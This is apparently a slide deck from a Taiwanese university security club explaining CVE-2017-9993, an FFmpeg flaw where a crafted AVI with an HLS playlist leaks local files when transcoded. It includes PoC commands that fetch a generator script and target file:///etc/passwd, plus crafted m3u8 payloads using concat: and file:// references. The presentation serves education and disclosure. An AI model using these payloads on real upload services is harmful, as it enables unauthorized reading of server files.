changed 8 years ago
Linked with GitHub

CVE-2017-9993

FFmpeg + AVI + HLS


交大 BambooFox

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

FB: 交大網路安全策進會


Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

CA Lee

calee@cs.nctu.edu.tw
交大資工 大三
交大 BambooFox 新手村成員


Outline

  • 簡介 SSRF
  • 漏洞概念
  • POC
  • 漏洞觸發流程
  • 繞過工具
  • 細節
  • 第二種攻擊

SSRF

Server Side Request Forgery

  • 攻擊者造成由服務端(Server) 發出請求,造成的資安漏洞
  • 目的多在與訪問外網無法訪問的系統


常見漏洞

  • URL 存取 (轉址、分享)
  • 圖片、檔案上傳
  • 參考

歷史

CVE-2016-1897 、 CVE-2016-1898

结合 SSRF ,我們可以把 file:// 讀到的內容發送出来

concat: URL1 | URL2 | … | URLN

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln  
#EXT-X-ENDLIST

Concept

  • 透過上傳的影片檔,觸發 SSRF 漏洞
  • 繞過檢查:
    • FFmpeg 可以處理 HLS playlist
    • HLS playlist 會對外部文件做引用
    • 利用 AVI 文件中的 GAB2 字幕模組來觸發此功能
    • 通過 XBIN 編解碼器 檢索轉換節點的本地文件
  • 任意讀取本地文件

一般視訊上傳

source


Attack


source


PoC

  1. 下載 PoC code:
wget https://raw.githubusercontent.com/neex/ffmpeg-avi-m3u-xbin/master/gen_xbin_avi.py

  1. 生成 avi:
python3 gen_xbin_avi.py file:///etc/passwd sxcurity.avi

  1. 上傳 sxcurity.avi 到會利用 ffmpeg 做處理的網站

  1. FFmpeg 會自動作出處理:
    (這裡我們是生成 output.mp4 檔案)
ffmpeg -i sxcurity.avi output.mp4

  1. 而在處理成 output.mp4 的時候,就會把一開始寫的 /etc/passwd 以影片的方式,呈現出來

漏洞觸發流程

  1. 制作一个 AVI 格式的容器文件,其中包含 GAP2 格式的字幕和 HLS 播放列表
  2. 列表中的外部文件特意寫成 /etc/passwd 等希望讀取内容的敏感文件
  3. ffmpeg 轉碼這個 AVI 文件時,會將其中的 GAP2 内容與 /etc/passwd 文件中的内容接為最终的字幕
  4. 字幕文本以 XBIN 編碼,最終會被 FFmpeg 轉為視屏

繞過工具


AVI

  • AVI 本身只是提供了這麼一個框架,內部的圖像資料和聲音順據格式可以是任意的編碼形式。
  • AVI的檔案結構分為「頭部」,「主體」和「索引」三部分。從尾部的索引可以索引跳到自己想放的位置
  • 索引放在了檔案尾部,所以在播放internet串流媒體時已屬力不從心。

FFmpeg

  • FFmpeg 是一個自由軟體,可以執行音訊和視訊多種格式的錄影、轉檔、串流功能
  • 可以解析 HLS 格式

HLS

  • HLS(HTTP Live Streaming): 將影片切成多個片段,適時的求取下一片段
  • 不同的備用源中以不同的速率下載同樣的資源
  • 在開始一個流媒體會話時,客戶端會下載一個包含 matadata 的 extended M3U (m3u8) playlist 文件,用於尋找可用的媒體流

HLS sample

#EXTM3U // 宣告 m3u8 playlist #EXT-X-VERSION:3 #EXT-X-ALLOW-CACHE:YES #EXT-X-MEDIA-SEQUENCE:4454 #EXT-X-TARGETDURATION:4 // 每隔 4 秒重新抓一次 #EXTINF:3.998, no desc // 此片段停留 3.998 25133_src/4460.ts // 要索取的 ts 檔 #EXTINF:3.992, no desc 25133_src/4461.ts #EXTINF:3.985, no desc 25133_src/4462.ts #EXTINF:3.979, no desc 25133_src/4463.ts #EXTINF:3.996, no desc 25133_src/4464.ts

參考: TechBridge 技術共筆部落格


細節內容


sxcurity.avi

  • RIFF : AVI header
  • GAB2: 使用 GAB2 字幕模組
  • #EXTM3U: GAB2 字幕是使用 HLS 格式 (m3u8 playlist)

m3u8


XBin

  • XBin 是一個蠻古老的格式
  • 可以顯現視訊,文本
  • 可以編程
  • 將目標文件作為對象,用 xbin 繪製成字符,可作為合法可看的視頻

所以我們希望 m3u8 playlist 可以長這樣

[AVI header]  
[GAB2 header]  
[m3u8 header]  
[XBIN header]  
目标文件  
[XBIN footer]  
[m3u8 footer]  
[AVI footer]

希望形成的格式

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST

但是 FFmpeg 對 body 作檢查了,不允許 data 宣告


#EXT-X-KEY

  • 表示如何對每個片段進行解碼
  • m3u8 本身對 body 有做檢查,不能直接宣告 xbin 格式

  • 利用 m3u8 支持 AES128 的 CBC 模式加密的特性
  • /dev/zero
  • AES-128 CBC
    • text: 4c4d465e0b95223279487316ffd9ec3a
      0000000000000000
    • URI -> AES key: 0000000000000000
  • #EXT-X-BYTERANGE 設置偏移

然後用 FFmpeg 做轉檔

  • 利用 XBIN 格式與 HLS 的特性
  • FFmpeg 做轉檔時,因為 HLS 寫好的,會一個片段一個片段的把 /etc/passwd 帶出來


Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


Patch


另一種攻擊


https://hackerone.com/reports/243470

  • FFmpeg 在處理 HLS 時,會先把 playlist 上要處理的每一格先合成成一個檔案
  • 利用 playlist 上的第一個檔案格式作為合成檔案格式
  • ffmpeg 會對 .txt 做特殊處理,它會嘗試將文件的内容以终端的方式印在屏幕上

So

新的生成檔會長這樣:


  1. FFmpeg在 GAB2 字幕裡面看到了 #EXTM3U => HLS
  2. .txt 會在合成後,把合成檔當成 txt (GOD.txt 不需要存在,他只看 string)
  3. 在合成大檔案後,就可以看到 /etc/passwd 了

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


Conclusion

  • HLS 協定有其目的
  • But HLS 可以引用到外部檔案 (實作)
  • 此特性可能讓其未來還有其他漏洞
  • 解決方法
    • 做好權限控管
    • 包進 container

Reference

演講
ppt


NCTU CSC

BambooFox


成立宗旨

  • 資安技術與知識傳承
  • 促進學生的資安意識與技術
  • 協助學校漏洞修補、增進校園網路安全

簡介

  • BambooFox 誕生於交大 DSNS Lab、SQLab 以及系計中
  • 成員包含交大、清大、中央、中原
  • 由 Mango King 與 Banana Apple 成立學校社團 網路安全策進會
  • 實驗室 + 系計中 + 社團 + 戰隊 + 學長前輩們
  • 主要以 CTF 題目為練習目標

CTF

  • Capture The Flag,簡稱 CTF
  • 由主辦單位設計帶有漏洞的程式或網站,讓參賽者進行解題或互相攻防
  • 培育資安人才
  • 藉由參與 CTF 競賽,提升自我程度,學習許多神奇技巧,出國玩,拿獎金 (X)

社群效應

  • 舉辦/參加 研討會,與台灣各地人才交流、技術分享
  • 學長姊願意回來指導
  • 認識一些資安界大大

學習資源


BambooFox 讀書會

  • 每月一次
  • 新竹地區最大資安聚會 XD
  • 每次會有一到兩個分享
  • CVE, ZeroDay, 病毒設計, 伺服器管理, 社交工程
  • 題目不限,有興趣的都歡迎來參加 or 分享
  • 吃吃喝喝,聊聊天
Select a repo